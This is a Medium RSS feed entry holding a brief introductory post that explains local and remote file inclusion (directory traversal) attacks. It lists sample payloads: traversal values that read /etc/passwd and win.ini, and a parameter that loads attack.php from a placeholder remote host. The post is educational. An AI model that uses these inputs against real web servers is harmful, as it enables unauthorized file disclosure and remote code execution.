<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by PratBad on Medium]]></title>
        <description><![CDATA[Stories by PratBad on Medium]]></description>
        <link>https://medium.com/@thea665566?source=rss-3f64ef82f3f9------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*dsbZYmZqOxn8gjQ0ILsfWw.jpeg</url>
            <title>Stories by PratBad on Medium</title>
            <link>https://medium.com/@thea665566?source=rss-3f64ef82f3f9------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 14:11:21 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@thea665566/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[File inclusion or Directory traversal Attack]]></title>
            <link>https://medium.com/@thea665566/file-inclusion-or-directory-traversal-attack-1b31c4694ff9?source=rss-3f64ef82f3f9------2</link>
            <guid isPermaLink="false">https://medium.com/p/1b31c4694ff9</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[file-inclusion]]></category>
            <category><![CDATA[directory-traversal]]></category>
            <dc:creator><![CDATA[PratBad]]></dc:creator>
            <pubDate>Sat, 02 Apr 2022 05:10:55 GMT</pubDate>
            <atom:updated>2022-04-02T05:10:55.864Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>File inclusion or Directory traversal Attack</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/618/1*mLs2Cnw5pKlJYvCPtNDpow.png" /></figure><p><strong>What is LFI?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*oBjlK3puJ71qhroHpCHAKw.png" /></figure><p>LFI basically stands for local file inclusion attack in which the attacker tricks the web server in issuing the unauthorized disclosure of the local file and access or execute some malicious code . In this basically the attacker replaced the default file parameters by some other such as</p><p>In case of linux system:</p><p>Original path : ?file = 1.jpg something like this</p><p>Replaced :</p><p>?file = /etc/passwd</p><p>?file = ../etc/passwd</p><p>?file = ../../etc/passwd etc.</p><p>In case of windows system:</p><p>Original path : ?file = 1.jpg something like this</p><p>Replaced :</p><p>?file = \windows\win.ini</p><p>?file = ..\windows\win.ini</p><p>?file = ..\..\windows\win.ini<br>(/etc/passwd is basically the default file in linux which contains the every registered user data authorized to access the data , similarly in case of windows it is \windows\win.ini)</p><p><strong>What is RFI?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6-WmBfdMGFTeTLzHknO_8A.png" /></figure><p>RFI stands for remote file inclusion which allows the attacker to insert a remote file. This attack usually occurs when a web application receives a remote path to file or scripts which leads to execution of malicious code and carries attacks like cross site scripting or remote code execution.</p><p>In this basically the attacker replaced the default file parameters by some other such as</p><p>In case of linux system:</p><p>Original path : ?file = 1.jpg something like this</p><p>Replaced :</p><p>?file = http://example.com/attack.php<br>In case of windows system:</p><p>Original path :</p><p>?file = 1.jpg something like this</p><p>Replaced :</p><p>?file = http://example.com/attack.php</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1b31c4694ff9" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>